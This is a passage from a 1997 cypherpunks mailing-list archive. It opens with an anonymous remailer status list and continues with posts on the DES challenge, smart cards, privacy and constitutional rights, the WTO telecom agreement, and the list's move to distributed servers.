   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{"extropia"} = "<remail@miron.vip.best.com> cpunk pgp special";
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{'alpha'} = '<alias@alpha.c2.org> alpha pgp';
$remailer{'nymrod'} = '<nymrod@nym.jpunix.com> alpha pgp';
$remailer{"lead"} = "<mix@zifi.genetics.utah.edu> cpunk mix pgp hash latent cut ek";
$remailer{"exon"} = "<remailer@remailer.nl.com> cpunk pgp hash latent cut ek";
$remailer{"haystack"} = "<haystack@holy.cow.net> cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = "<lucifer@dhp.com> cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"balls"} = "<remailer@huge.cajones.com> cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = "<middleman@jpunix.com> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"dustbin"} = "<dustman@athensnet.com> cpunk pgp hash latent cut ek mix reord middle ?";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"death"} = "<x@deathsdoor.com> cpunk pgp hash latent post";
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"wazoo"} = "<remailer@wazoo.com> cpunk mix pgp hash latent cut ek";
$remailer{"shaman"} = "<mix@mix.nymserver.com> cpunk mix pgp. hash latent cut";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 17 Feb 97 6:46:40 PST
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
wazoo    remailer@wazoo.com               ++++++++*+++    37:37 100.00%
nym      config@nym.alias.net             *#*##**++#*+     4:23  99.99%
winsock  winsock@rigel.cyberpass.net      -__.+-..---+  7:52:03  99.93%
cyber    alias@alias.cyberpass.net        ** *++++++*+    35:11  99.89%
dustbin  dustman@athensnet.com             .++--.+---   2:08:12  99.85%
weasel   config@weasel.owl.de             +++++++++++   1:06:36  99.77%
exon     remailer@remailer.nl.com           ***-* *#+#     4:10  99.62%
squirrel mix@squirrel.owl.de              + ++++++ +    1:04:02  99.05%
haystack haystack@holy.cow.net            #*##*+*  **+    20:23  98.49%
reno     middleman@cyberpass.net           .++ -- +++   1:16:02  98.36%
lucifer  lucifer@dhp.com                  +++++++ +++     42:18  98.28%
extropia remail@miron.vip.best.com        -------- --   5:19:42  98.21%
middle   middleman@jpunix.com              ++++ + --    2:16:10  97.36%
replay   remailer@replay.com              ---+**  ---*  1:27:53  88.59%
balls    remailer@huge.cajones.com        ## *### *#       1:38  84.09%
jam      remailer@cypherpunks.ca          ******* **       8:25  82.44%
shaman   mix@mix.nymserver.com                            11:03  22.27%
mix      mixmaster@remail.obscura.com     *+           22:42:38  21.62%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 17 Feb 1997 09:11:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: FC97 lookalike: Stock Trading over the Internet Conference
Message-ID: <199702171711.JAA09613@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I don't know about *lookalike*...

Cheers,
Bob Hettinga

--- begin forwarded text


Sender: e$@thumper.vmeng.com
Reply-To: Ian Grigg <iang@systemics.com>
Precedence: Bulk
Date: Mon, 17 Feb 1997 10:30:32 +0100 (MET)
From: Ian Grigg <iang@systemics.com>
To: Multiple recipients of <e$@thumper.vmeng.com>
Subject: FC97 lookalike: Stock Trading over the Internet Conference

http://www.iqpc.com/0397stoc.htm

STOCK TRADING OVER THE INTERNET

Exploiting the power of Electronic Commerce

March 19-20, 1997 * The Pan Pacific Hotel * San Francisco, CA


Hear first hand tips from the true pioneers in Internet stock trading and
electronic commerce on:

       Conquering the process of going public
       Raising capital in your company via the Internet
       Using the Web to build your business and partnering with
       co-opitition
       Forming permanent syndicates to foster the creation of new
       offerings
       Creating effective and complete marketing plans for IPO's
       and DPO's
       Attracting customers and delivering services through the
       exploding electronic commerce market

The audience for this event will include companies looking to offer
shares via the Internet and drastically cut costs including; Chief
Executive Officers, Chief Financial Officers, Managing Directors,
General Managers, Investor Relations Managers, Underwriters, Stock
Exchange Executives, Venture Capitalists, Investment Bankers,
Private Company Executives, Business Development Executives,
Technology and Business Press and all those seeking to explore
opportunities on the emerging Internet marketplace


DAY ONE
March 19, 1997
Chairman: Brad W. Smith, President, WBS & A, Ltd.

       8:30 REGULATORY CONSIDERATIONS ON INTERNET
       PUBLIC OFFERINGS
       This session will review the many regulatory and legislative
       issues involved in the development of Internet public
       offerings. In particular, how and why the regulatory bodies
       of the NASD, NASDAQ and the SEC are making a
       commitment to the Internet as a vehicle that serves the
       investor. Proper surveillance procedures have been created and
       executed to protect all parties. Internet initiatives have been
       developed to bridge the market side and regulatory side of
       these complex issues.
       Al Dandridge, Associate Director of Corporate Finance
       U.S. SECURITIES AND EXCHANGE COMMISSION

       Charles Bennett, Associate Director of Corporate Finance
       NASD

       9:30 INTERNET TRADING MARKET PROJECTIONS
       Internet trading is an emerging market wave that is poised for
       explosive growth. More than 60 million investors have
       brokerage accounts. The media reports that Internet brokerage
       accounts will jump from 1.5 million today to 9.3 million by
       the year 2001; Every bank will use the Internet to attract
       customers and deliver services in the next five years and
       electronic commerce will grow to $600 billion annually
       within the next 10 years. Visionaries believe that one of the
       most profound effects of these phenomena's will be to
       changehow small businesses get capitalized. They predict that
       small business public offerings will become routine for
       nano-cap companies.
       This session will present a strategic overview of the
       emergence of internet capabilities that make it possible for
       investors to invest in and trade nano-cap company stocks.
       Brad Smith, President
       WBS & A, Ltd.
       bradwsmith@aol.com

       11:00 GOING PUBLIC: HOW TO RAISE CAPITAL
       THROUGH A DIRECT PUBLIC OFFERING (DPO) This
       session will explore from concept to completion, how to
       perform all of the necessary functions to prepare and market a
       DPO and/or an Internet DPO. A case study will be shared of a
       DPO that will be presented to the investment community
       world-wide in early 1997. Learn from the experts the
       specifics on how to take your company where you want to go
       and ensure success including:
              Marketing through an investor relations firm
              Choosing an appropriate analyst
              Utilizing a transfer agent
              The link between broker and internet commerce
       David A. Levonian, President
       INTERNATIONAL INVESTOR RELATIONS
       http://iirwebtv.net

       1:00 OVERCOMING THE PITFALLS AND
       CHALLENGES OF GOING PUBLIC
       The advantages of "going public" appear straight forward. The
       company accesses the capital it needs to expand or refine its
       product. (In a purely coincidental occurrence, the current
       shareholder [including investment bankers, SEC lawyers and
       stock brokers] get rich.)
       There are numerous challenges in conquering the process of
       "going public" including:
              There are problems with the lawyers, accountants
              and the bankers and they are on YOUR SIDE
              There are pounds of paper forms which must be
              submitted to every group, not to mention the SEC.
              However, an approved offering does not make a
              successful offering. It still must be marketed,
              either by stock brokers OR MAYBE directly over
              the Internet. And not just to the U.S., but to the
              entire world.
              That may be the wave of the future. Direct access to
              securities and their offering companies over the
              Internet.
       Michael J. Waddell, President
       PROMARKETING, INC.
       Developer of the (http://www.freemarket.org) selected by
       PC Novice Guide to the Web as one of the Internet "Greatest
       Sites"

       2:00 IPONET: SELLING & ADVERTISING IPO'S ON THE
       INTERNET: THE CREATION OF THE FIRST
       PERMANENT SYNDICATE
       IPOnet is currently the only site on the Internet with
       clearance from the SEC to advertise and sell new security
       offerings online.
       IPOnet intends to have multiple Broker/Dealers listed on it's
       site.
       This will create the first permanent syndicate of
       Broker/Dealers.
       These Broker/Dealers will act as selected dealers for each
       others offerings and act as underwriters of their own
       offerings.
       This session will examine the following topics:
              Why the broker can not be eliminated from the
              offerings
              What really happens when an IPO is put on the
              Internet
              Why DPO's will never be a major threat to brokers
              Why a permanent syndicate will foster the creation
              of new offerings
       Leo J. Feldman, President
       IPONET
       http://www.e-iponet.com
       lfeldman@e-iponet.com

       3:30 THE IMPORTANCE OF TRADITIONAL
       EXCHANGES AS A SECONDARY MARKET
       Taking your company public via the Internet, rather than the
       traditional exchange, has become a very viable alternative for
       small business owners. However, unless the offering is
       backed by a complete marketing plan, it is unlikely that the
       offering will reap huge financial rewards and achieve success.
       Incorporating a traditional exchange as a secondary market
       into the plan can solidify, stabilize and extend the offering
       beyond the Internet marketplace and create longevity and
       security and financial return on your offering. This session
       will explore secondary markets and how traditional
       exchanges are advocating the collaborative efforts of
       traditional and web offerings.
       Iris Golden Brackett, Manager
       Listing Sales
       CHICAGO STOCK EXCHANGE

       4:30 Panel Discussion: PUBLIC OFFERINGS AND THE
       INTERNET: LEGAL CONSIDERATIONS
       Join three of the most influential Internet finance and
       securities attorneys for this highly interactive session. They
       will discuss the legal aspects associated with buying and
       selling securities on the Internet, including private
       placement, Regulation A offerings and independent public
       offerings. Come prepared to share your challenges and
       solutions!
       William D. Evers, Esq.
       MILLER, MAILLIARD & CULVER

       M. Greg Allio, Esq.
       SHARTSIS, FRIESE & GINSBERG

       John Perkins, Chairman
       THE SMALL BUSINESS CAPITAL ACCESS
       ASSOCIATION

       Charles Bennett, Associate Director of Corporate Finance
       NASD

       5:45 CLOSE OF DAY ONE

DAY TWO
March 20, 1997

       8:15 ELECTRONIC BULLETIN BOARDS FOR BID AND
       ASK OFFERS: THE EMERGENCE OF DIRECT STOCK
       MARKET
       The secondary market is the key to successful initial and direct
       public offerings. The traditional brokerage community has
       their hands tied when it comes to underwriting and making
       markets in small company issues. A new strata of corporate
       finance is being created by technological advances which
       marry capital requirements of entrepreneurs with risk/return
       and information demands of investors. This presentation will
       explore:
              Using the internet to raise capital for your company
              Secondary market trading on the Internet
              Virtual roadshows online
              Building your own public venture capital portfolio
              Investing in public venture funds
       Clay Womack, President
       DIRECT STOCK MARKET
       http://www.direct-stock-market.com

       9:15 EXPLOITING INTERNET TECHNOLOGY TO
       REACH A GLOBAL AUDIENCE
       The power of the Internet has unleashed the potential for new
       business expansion and financial opportunity in a global
       market. Foreign businesses can now join forces quickly to
       create products and services and offer them to a larger
       population than before. This session will examine how to
       cultivate these partnerships, foster growth and secure
       positive financial outcomes by:
              Using the Web to build your business and
              partnering with co-opitition
              Attracting "qualified" people to your site
              Exploring value-added opportunities in the
              financial market on the Internet
       Michael Withrow, Director
       POWERTRADER, INC.
       http://www.powertrader.axionet.com

       10:45 UNDERSTANDING THE COMPONENTS OF A
       STOCK TRANSFER
       Choosing a transfer agent with diversity of services allows
       your company to do more and retain extra added-value
       components and services. This session will take you
       step-by-step through the IPO process from working with
       attorneys through to the transfer work. Learn how to: How
       to judicate a stock transfer
       Outline the processes needed
       Develop the steps involved
       Anticipate the role of the Internet in stock transfers
       Sherri Herman, President
       THE HERMAN GROUP, INC.
       SMALL BUSINESS CAPITAL ACCESS ASSOCIATION

       1:00 INTERNET TRANSACTIONS FOR THE
       PORTFOLIO MANAGER
       This session will feature case studies and the future outlook
       on internet transactions for portfolio managers including:
              What is the Electronic/Internet Information
              System?
              -Office based and wireless
              -Text and video
              How is it used?
              -The two way information flows
              -Routine and custom information
              Specific needs and requirements for the portfolio
              manager and ways of customizing the information
              What are the advantages of the new system?
              Costs and tools of the system
              -Dollars
              -Technology
              -Savvy and advertising
       John Palicka, CFA, CMT
       Portfolio Manager
       GLOBAL EMERGING GROWTH

       2:30 INTERNET OPPORTUNITIES FOR PUBLIC
       COMPANIES
       This session will focus on opportunities available on the
       Internet to companies that are publicly traded. A presentation
       no senior executive should miss! This presentation will
       examine why public companies should consider the added
       profitability of the Internet and offer specific Internet
       strategies and risks including:
              Using the Internet to improve liquidity
              Build a stock analyst following using the Internet
              Dealing with Motley Fool's and other potential
              risks
       M. Greg Allio, Partner
       SHARTSIS FRIESE & GINSBERG

       3:30 CREATING AN ELECTRONIC STOCK EXCHANGE
       Exploiting IP-Understanding Internet Protocol (IP) - How
       to make your business grow ON-LINE by using the "best of"
       all available software
       Order Driven Systems- Understanding why market makers &
       specialists are a "necessary evil" we live with, and look at the
       functionality of SuperDot-type automation as opposed to
       Drop Copy
       A Virtual Branch Office- The growth of the independent
       brokerage industry, and a look at what will happen to the
       traditional registered representative
       Compliance/Supervision- How a small brokerage firm will
       supervise their representatives in the Internet age
       Ken Gruneisen, President & CEO, BEST EX, INC.
       THE BOCA RATON ELECTRONIC STOCK EXCHANGE

       5:30 END OF CONFERENCE


Post Conference Workshops
-------------------------
9:00am - 12:00pm The Impact of the World Wide Web on Individual
Investors and Electronic Stock Trading

1pm - 4pm
Building the partnership between Electronic Commerce and Raising
Capital1pm - 4pm
----------
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--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@PrimeNet.Com>
Date: Mon, 17 Feb 1997 12:56:32 -0800 (PST)
To: Bill Stewart <cypherpunks@toad.com>
Subject: Re: Bad Headers Added to John Young postings via owner-cypherpunks@sirius.infonex.com
Message-ID: <199702172056.MAA13554@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

on or about 970216:1241 Bill Stewart <stewarts@ix.netcom.com> said:

+Hi!  The following headers are from a posting by John Young that looks
+like it was sent to cypherpunks@toad.com,
+forwarded to cypherpunks@sirius.infonex.com and/or
+cypherpunks@cyberpass.net, and has the Reply-To: header
+set to reply to cypherpunks@toad.com instead of to John Young.... It
+looks like the obvious implementation of cypherpunks-style mail header
+patching, but isn't quite right.....  Leads to people sending their
+John Young mailbot requests to cypherpunks@toad.com instead, as some
+well-known cypherpunks have mistakenly done recently :-)

    this is what Lance said he would do...  until toad.com shuts down, 
    you address all messages to cypherpunks@toad.com to avoid overlap.
    toad.com was never set up to show cypherpunks@road.com in the 
    "Reply-To: " field, but it should have been.

    mailing lists then have the "From: " field from the original sender,
    and the "Reply-To: " to the list.  Now, there are reasons some list
    operators do not change the reply field --usually in the hope any
    responders will not notice the list is not being copied....in just 
    turns into private mail.

    for the almost 20 years I been playing with mail lists of various 
    sorts starting with simple inbound scoop and explode to list, 
    Lance's convention has been the norm.

        attila gone...
 ___________________________________________________________attila_____
    "A man owns an ass; he can vote.  
    The ass dies; he cannot vote.  
    Who owns the vote?"
        --Benjamin Franklin
 _______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0

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Charset: latin1
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim Newsome <drz@froody.bloke.com>
Date: Mon, 17 Feb 1997 09:11:18 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: (fwd) DES challenge organisation
Message-ID: <199702171711.JAA09598@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Sat, 15 Feb 1997, Adam Back wrote:

> > 5. The prize money will be split equally between Gutenberg and EFF.
> >    There is a possibility of using part of it for stickers or
> >    something similar, but don't count on it.

> Not a good idea.

> How can this be enforced?  The RSADSI DES challenge is open to all

Unless people modify the client, we will know about it before they do.
Yes, people might cheat. Main point is we don't want to turn this into a
race for money. (Also, that way we can't use university machines etc.)
This topic has been discussed too often also. Read the archives for more
debate.

Tim

Tim Newsome. Programmer for Megasoft. Student at CMU. Cynic in life.
Intel sucks. Motorola forever! If it's not PGP signed, it didn't come from me. 
Always look on the bright side of life. I think I think therefore I think I am.
drz@froody.bloke.com  http://www.local.com/~tnewsom/  PGP key: 2048/C32F01A5

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: noconv
Comment: In God we trust. Everybody else we verify using PGP!

iQEVAwUBMwh34PKkXTDDLwGlAQE/KggAmWk9rL86fknnXWy9ASPWQokH6J0vEzW+
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WBEcIAWToBHfrWSokuF9nunAarmcddQyPu/93hzRkgODVTWgmnpOGA==
=IuAs
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim Newsome <drz@froody.bloke.com>
Date: Mon, 17 Feb 1997 12:56:21 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: (fwd) DES challenge organisation
Message-ID: <199702172056.MAA13527@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Sat, 15 Feb 1997, Adam Back wrote:

> > 5. The prize money will be split equally between Gutenberg and EFF.
> >    There is a possibility of using part of it for stickers or
> >    something similar, but don't count on it.

> Not a good idea.

> How can this be enforced?  The RSADSI DES challenge is open to all

Unless people modify the client, we will know about it before they do.
Yes, people might cheat. Main point is we don't want to turn this into a
race for money. (Also, that way we can't use university machines etc.)
This topic has been discussed too often also. Read the archives for more
debate.

Tim

Tim Newsome. Programmer for Megasoft. Student at CMU. Cynic in life.
Intel sucks. Motorola forever! If it's not PGP signed, it didn't come from me. 
Always look on the bright side of life. I think I think therefore I think I am.
drz@froody.bloke.com  http://www.local.com/~tnewsom/  PGP key: 2048/C32F01A5

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: noconv
Comment: In God we trust. Everybody else we verify using PGP!

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WBEcIAWToBHfrWSokuF9nunAarmcddQyPu/93hzRkgODVTWgmnpOGA==
=IuAs
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 17 Feb 1997 23:55:55 -0800 (PST)
To: Steve Schear <azur@netcom.com>
Subject: Re: PDAs as alternatives to smart cards?
Message-ID: <199702180755.XAA26686@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 04:49 PM 2/17/97 -0800, Steve Schear <azur@netcom.com> wrote:
>With the widespread adoption of an industry standard IR link between PDA
>type devices, networks and PCs might this not present an opportunity for
>their use as more user-configurable and application agile financial and
>communiation privacy instruments?  

PDAs are becoming somewhat widespread among technical and sales people,
but there are a lot of different varieties and horsepowers,
and some are generally programmable with near-free-ware while others aren't.
Newtons have horsepower, but aren't that common; most of the others
have 8086en or so, including the easily-programmable DOS HPs,
the cool objecty Psion OS, a few different GeoWorks based systems
(is Pilot one of those?), etc.  Then there are a huge number of
totally non-programmable Rolodex/Calendar widgets.

Any of the interesting ones cost too much to go after the
retail market, and they're owned by people who can use email.  
For the broad market you want a <=$10 device, and stores grumble if you
charge more than $200 for a really complete reader system -
which means smartcards.  

Perhaps once pager capability in PDAs becomes widespread and cheap,
the retail/wholesale pharmaceutical trading set could get interested :-)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Theodor.SCHLICKMANN@bxl.dg13.cec.be
Date: Mon, 17 Feb 1997 09:11:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re(2): DFA
Message-ID: <199702171711.JAA09573@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Hi,

the European Commission is also sponsoring a project called "OKAPI" where Quisquater and others are working on smardcards in the spirit of the mentioned publications by DFA. Please check

        www.tele.ucl.ac.be/OKAPI/index.html

for further information.

Theodor W. Schlickmann





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Cynthia H. Brown" <cynthb@sonetis.com>
Date: Mon, 17 Feb 1997 09:26:21 -0800 (PST)
To: Bryan Reece <reece@taz.nceye.net>
Subject: Re: Cypherpunks afraid of spam?
Message-ID: <199702171726.JAA09922@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On 17 Feb 1997, Bryan Reece wrote:

>    So, if I put root@127.0.0.1 in the "From:" field of my news reader's
>    configuration, all of my posts will give this as my e-mail address. 
> 
> More likely to be delivered is root@[127.0.0.1] or

Oops, finger trouble... Must've been something in that pizza for supper 
<sheepish grin>

Cynthia
===============================================================
		   Cynthia H. Brown, P.Eng.
E-mail:     cynthb@iosphere.net  | PGP Key:  See Home Page
Home Page:  http://www.iosphere.net/~cynthb/
Junk mail will be ignored in the order in which it is received.

        Klein bottle for rent; enquire within.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Mon, 17 Feb 1997 12:56:35 -0800 (PST)
To: snow <snow@smoke.suba.com>
Subject: Constitution and a Right to Privacy
Message-ID: <199702172056.MAA13555@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 1:22 PM -0600 2/17/97, snow wrote:
>Mr. May wrote:
>> Some legal scholars are claiming that there is no provision in the
>> Constitution guaranteeing anonymity of purchases, and, indeed, a growing
>> number of purchases can no longer be anonymous--guns, explosives, chemicals
>> of various sorts, etc. How long before _all_ transactions must be recorded,
>> True Names revealed, etc.?
>
>	This is where I often get a little confused.
>
>	Correct me if I am wrong, but it was my understanding that the
>constitutuion was _not_ a document that explicitly spelled out what writes
>_I_ had, but rather spelled out fairly precisely what the _government_ was
>allowed to do.
>
>	In otherwords, the Constitution does not restrict _me_ rather it
>restricts the _feds_ (and the Feds alone).
>
>	My rights are WHATEVER ISN'T IN THE CONSTITUTION, and the government
>can only, ONLY do what the constitution says it can.
>
>	???

But why do you not object that the "right to free speech," "the right to
keep and bear arms," and so on, are specifically enumeratedin the Bill of
Rights? The privacy issue is that there is no such enumeration of a right
to privacy in the Bill of Rights, though many think it to be implicit in
some of the other enumerated rights, e.g,, the Fourth, and even in the
First.

Constitutional issues are not easily discussed in short messages like this.
Suffice it to say the issue of whether a "right to privacy" exists has been
long discussed, most recently by Bork, Posner, and others (I skimmed the
latest Posner book a while back, and liked his style).

The issue hit when abortion advocates argued that a "woman's right to
privacy" allowed abortions. However, none of the enumerated rights made
this obvious. Bork has opined that no right to privacy can be inferred from
the Constitution.

(And I always thought the "woman's right to privacy" argument for abortion
was flaky. Accepting such an argument, wouldn't infanticide be equally
protected by a woman's right to privacy?)

--Tim May



Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Mon, 17 Feb 1997 12:56:25 -0800 (PST)
To: cypherpunks <wcampbel@peganet.com>
Subject: Re: Anyone have the complete info on CP list alternatives?
Message-ID: <199702172056.MAA13535@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Mon, 17 Feb 1997, Bill Campbell wrote:

> However, I'm very confused on just what to do at this
> point, my news server doesn't see alt.cypherpunks
> yet and if it did would probably lose about 75% of
> the posts if past performance is to be any indicator.
> (Or more accurately, would never get them, we seem
> to be a bottom feeder here in South Florida as far
> as the newsgroups go.)
> 
> Has anyone composed a concise summary of just
> what the options are? Time is running out, I guess.

Here's my understanding of the situation:

 - Newsgroups alt.cypherpunks, alt.cypherpunks.announce,
	alt.cypherpunks.social, alt.cypherpunks.technical have been created.

 - The distributed list is still forming and so far consists of
	cypherpunks@algebra.com, cypherpunks@ssz.com, and others of which I
	do not know the location.  A mail<->news gateway is planned, but not
	yet in place, between the distributed list and the newsgroup(s).
	cypherpunks@algebra.com is receiving messages from
	cypherpunks-unedited.  I assume this means that the other hosts part
	of the distributed list are also receiving cypherpunks-unedited
	messages.

 - Lance Cottrell is running another list (cypherpunks@cyberpass.net) that is
	not yet part of the distributed list.  It is also receiving feed from
	toad.com.

If you don't want to miss any messages, then you should subscribe to both
cypherpunks@cyberpass.net and one of the distributed list nodes.  Since both
are receiving cypherpunks-unedited, you can safely unsubscribe from
cypherpunks-unedited, -flames, or the "main" list.  Since these lists have
overlapping content, you should delete duplicates.


Mark
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Mon, 17 Feb 1997 12:56:36 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: The Science Generations, II
Message-ID: <199702172056.MAA13556@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Mr. May wrote:
> Some legal scholars are claiming that there is no provision in the
> Constitution guaranteeing anonymity of purchases, and, indeed, a growing
> number of purchases can no longer be anonymous--guns, explosives, chemicals
> of various sorts, etc. How long before _all_ transactions must be recorded,
> True Names revealed, etc.?

	This is where I often get a little confused.

	Correct me if I am wrong, but it was my understanding that the
constitutuion was _not_ a document that explicitly spelled out what writes 
_I_ had, but rather spelled out fairly precisely what the _government_ was 
allowed to do.

	In otherwords, the Constitution does not restrict _me_ rather it 
restricts the _feds_ (and the Feds alone).

	My rights are WHATEVER ISN'T IN THE CONSTITUTION, and the government
can only, ONLY do what the constitution says it can.

	???







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 17 Feb 1997 12:56:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: WTO_tap
Message-ID: <199702172056.MAA13516@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Three newspapers have pieces today on the new WTO
telecom agreement. A Page 1 NYP report examines the
administration's favoring of the once-moribund WTO over 
the UN as a principal means for "exporting US free-market 
values through global commercial agreements."

The telecom agreement, for the first time, allows the WTO
to go inside the signatory countries and check compliance, and
if warranted, impose sanctions, a role once reserved to the UN.

While encryption is not mentioned, it's worth watching the
WTO globally unite its privacy-invasive predecessors: the 
national tele-tappers. The spin is that now all governments can 
have access to the global (wiretap) network under guise of
enhanced commercial competition. (And that's why Commerce was 
given EI for CCL.)

-----

WTO_tap

----------

For related background, there's informative discussion on the 
encryption switchover from State to Commerce in the Defense 
Trade News, archived at the Dept of State Web site.

We've put the five issues in which the shift of encryption 
items from the USML to the CCL is formulated by the Technical
Working Group at:

  January/April 1993:     http://jya.com/dtn0193.htm  (76K)
  January 1994:           http://jya.com/dtn0194.htm  (99K)
  April 1994:             http://jya.com/dtn0494.htm  (66K)
  July/October, 1994:     http://jya.com/dtn0794.htm  (67K)
  October 1995:           http://jya.com/dtn1095.htm  (35K)







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
Date: Mon, 17 Feb 1997 13:29:16 -0800 (PST)
To: aaron@herringn.com
Subject: Re: Cypherpunks afraid of spam?
